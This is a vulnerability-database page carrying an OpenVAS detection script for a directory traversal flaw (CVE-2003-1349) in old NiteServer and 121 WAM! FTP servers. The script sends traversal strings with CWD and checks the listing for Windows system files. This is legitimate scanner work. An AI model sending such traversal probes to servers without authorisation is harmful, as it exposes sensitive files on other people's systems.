Lucene search
+L

NiteServer / 121 WAM! FTP Directory Traversal Vulnerability

🗓️ 03 Nov 2005 00:00:00Reported by Copyright (C) 2005 Michel ArboiType 
openvas
 openvas
🔗 plugins.openvas.org👁 42 Views

The remote FTP server allows directory traversal and potential access to sensitive file

Related
Refs
Code
SourceLink
securityfocuswww.securityfocus.com/bid/6648
# SPDX-FileCopyrightText: 2005 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11466");
  script_version("2026-03-18T05:59:10+0000");
  script_tag(name:"last_modification", value:"2026-03-18 05:59:10 +0000 (Wed, 18 Mar 2026)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"qod_type", value:"remote_banner_unreliable");
  script_cve_id("CVE-2003-1349");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/6648");
  script_name("NiteServer / 121 WAM! FTP Directory Traversal Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2005 Michel Arboi");
  script_family("FTP");
  script_dependencies("ftpserver_detect_type_nd_version.nasl", "logins.nasl");
  script_mandatory_keys("ftp/banner/available");
  script_require_ports("Services/ftp", 21);

  script_tag(name:"solution", value:"Upgrade your FTP server.");

  script_tag(name:"summary", value:"The remote FTP server allows anybody to switch to the
  root directory and read potentially sensitive files.");

  script_tag(name:"affected", value:"Known affected products are:

  NITE ftp-server version 1.83

  121 WAM! Server 1.0.4.0");

  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("ftp_func.inc");
include("port_service_func.inc");

port = ftp_get_port(default:21);

soc = open_sock_tcp(port);
if (! soc) exit(0);

kb_creds = ftp_get_kb_creds();
login = kb_creds["login"];
pass = kb_creds["pass"];

if (! ftp_authenticate(socket:soc, user: login, pass: pass)) {
  ftp_close(socket:soc);
  exit(0);
}

send(socket: soc, data: 'CWD\r\n');
r = ftp_recv_line(socket: soc);
send(socket: soc, data: 'PWD\r\n');
r = ftp_recv_line(socket: soc);
matches = egrep(string:r, pattern:'^[0-9]+ *"([^"]+)"');
if (matches) {
  foreach match (matches) {
    match = chomp(match);
    v = eregmatch(string:match, pattern:'^[0-9]+ *"([^"]+)"');
    if (! isnull(v)) {
      cur1 = v[1];
      break;
    }
  }
}

# Loop on vulnerable patterns
dirs = make_list("\..\..\..\..\..", "/../");
foreach d (dirs)
{
  send(socket: soc, data: 'CWD ' + d + '\r\n');

  r = ftp_recv_line(socket: soc);
  send(socket: soc, data: 'PWD\r\n');
  r = ftp_recv_line(socket: soc);
  matches = egrep(string:r, pattern:'^[0-9]+ *"([^"]+)"');
  if (matches) {
    foreach match (matches) {
      match = chomp(match);
      v = eregmatch(string:match, pattern:'^[0-9]+ *"([^"]+)"');
      if (! isnull(v)) {
        cur2 = v[1];
        break;
      }
    }
  }

  if (cur1 && cur2)
  {
    if (cur1 != cur2)
      security_message(port);
    ftp_close(socket: soc);
    exit(0);
  }

  p = ftp_pasv(socket:soc);
  if(p)
  {
    soc2 = open_sock_tcp(p, transport:get_port_transport(port));
    if(soc2)
    {
      send(socket:soc, data: 'LIST\r\n');
      r = ftp_recv_listing(socket:soc2);
      r = tolower(r);
      r2 = ftp_recv_line(socket: soc);
      close(soc2);
      if ("autoexec.bat" >< r || "boot.ini" >< r || "config.sys" >< r)
      {
        security_message(port);
        break;
      }
    }
  }
}

ftp_close(socket: soc);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Mar 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.02347
42